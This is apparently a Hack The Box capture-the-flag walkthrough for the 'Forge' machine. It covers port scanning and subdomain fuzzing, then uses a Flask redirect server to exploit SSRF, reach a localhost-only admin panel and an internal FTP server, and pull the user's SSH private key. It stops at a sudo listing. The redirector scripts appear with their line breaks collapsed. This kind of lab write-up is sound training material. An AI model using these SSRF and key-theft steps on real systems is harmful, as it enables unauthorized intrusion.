$ nmap -p- --min-rate 5000 10.129.204.233
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-07 16:00 EDT
Nmap scan report for 10.129.204.233
Host is up (0.0087s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT STATE SERVICE
21/tcp filtered ftp
22/tcp open ssh
80/tcp open http
We have to add forge.htb to our /etc/hosts file to enumerate the website. Also, FTP is not a false positive here.
Forge.htb Enum
The website is some kind of Gallery that lets us view and upload images.
The uploads portion allow us to use URLs:
If we were to start a nc listener port and redirect the request to our machine, we would see this:
$ nc -lvnp 80
listening on [any] 80 ...
connect to [10.10.14.13] from (UNKNOWN) [10.129.204.233] 56488
GET /test HTTP/1.1
Host: 10.10.14.13
User-Agent: python-requests/2.25.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
This was using a Python based website, that is sending requests. The website had nothing else to offer, and I wasn't able to download or execute any webshells. So I did some wfuzz subdomain fuzzing and gobuster directory scans.
wfuzz picked up on an administrator site:
$ wfuzz -c -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -H 'Host:FUZZ.forge.htb' --hw=26 -u http://forge.htb
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://forge.htb/
Total requests: 100000
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000036: 200 1 L 4 W 27 Ch "admin"
Trying to visit it doesn't work though.
$ curl http://admin.forge.htb/
Only localhost is allowed
Redirect Bypass -> SSH Key
All my attempts to access the admin panel via modifying HTTP headers didn't work. So we have to try something else.
Since this server was in Python, and the administrator panel can only be accessed by localhost, I thought of creating a 'redirector' that would accept requests on the website and redirect us to the admin panel. Here's a good script for that:
import osfrom flask import Flask,redirectapp =Flask(__name__)@app.route('/')defhello():returnredirect("http://www.example.com", code=302)if__name__=='__main__':# Bind to PORT if defined, otherwise default to 5000. port =int(os.environ.get('PORT', 5000)) app.run(host='0.0.0.0', port=port)
When we start this, the website would generate a link to an 'image', which would always fail to display because it's not an image.
But, when we curl it, we can see it contains the page contents of the admin panel:
<!DOCTYPE html>
<html>
<head>
<title>Announcements</title>
</head>
<body>
<link rel="stylesheet" type="text/css" href="/static/css/main.css">
<link rel="stylesheet" type="text/css" href="/static/css/announcements.css">
<header>
<nav>
<h1 class=""><a href="/">Portal home</a></h1>
<h1 class="align-right margin-right"><a href="/announcements">Announcements</a></h1>
<h1 class="align-right"><a href="/upload">Upload image</a></h1>
</nav>
</header>
<br><br><br>
<ul>
<li>An internal ftp server has been setup with credentials as user:heightofsecurity123!</li>
<li>The /upload endpoint now supports ftp, ftps, http and https protocols for uploading from url.</li>
<li>The /upload endpoint has been configured for easy scripting of uploads, and for uploading an image, one can simply pass a url with ?u=<url>.</li>
</ul>
</body>
</html>
This reveals some credentials for us to use for FTP, which is behind a firewall. Since the /upload endpoint supports FTP traffic, we can make our script redirect us there using the u parameter and ftp://.
import osfrom flask import Flask,redirectapp =Flask(__name__)@app.route('/ftp')defftp():returnredirect('http://admin.forge.htb/upload?u=ftp://user:heightofsecurity123!@127.0.0.1')@app.route('/announce')defannounce():returnredirect('http://admin.forge.htb/announcements',code=302)@app.route('/')defhello():returnredirect("http://admin.forge.htb", code=302)if__name__=='__main__':# Bind to PORT if defined, otherwise default to 5000. port =int(os.environ.get('PORT', 5000)) app.run(host='0.0.0.0', port=port)
When redirected, we can see the contents of the FTP server:
This looks like the user's directory, so let's check whether there's a .ssh folder present.
$ curl http://forge.htb/uploads/EvkwW5i3ganDEIzW2doi
-rw------- 1 1000 1000 564 May 31 2021 authorized_keys
-rw------- 1 1000 1000 2590 May 20 2021 id_rsa
-rw------- 1 1000 1000 564 May 20 2021 id_rsa.pub
We can grab the id_rsa flag through this and SSH in as user.
Grab the user flag.
Privilege Escalation
Remote Manage -> Path Hijacking
When we check sudo privileges, we find that user is able to run a Python script as root.
user@forge:~$ sudo -l
Matching Defaults entries for user on forge:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User user may run the following commands on forge:
(ALL : ALL) NOPASSWD: /usr/bin/python3 /opt/remote-manage.py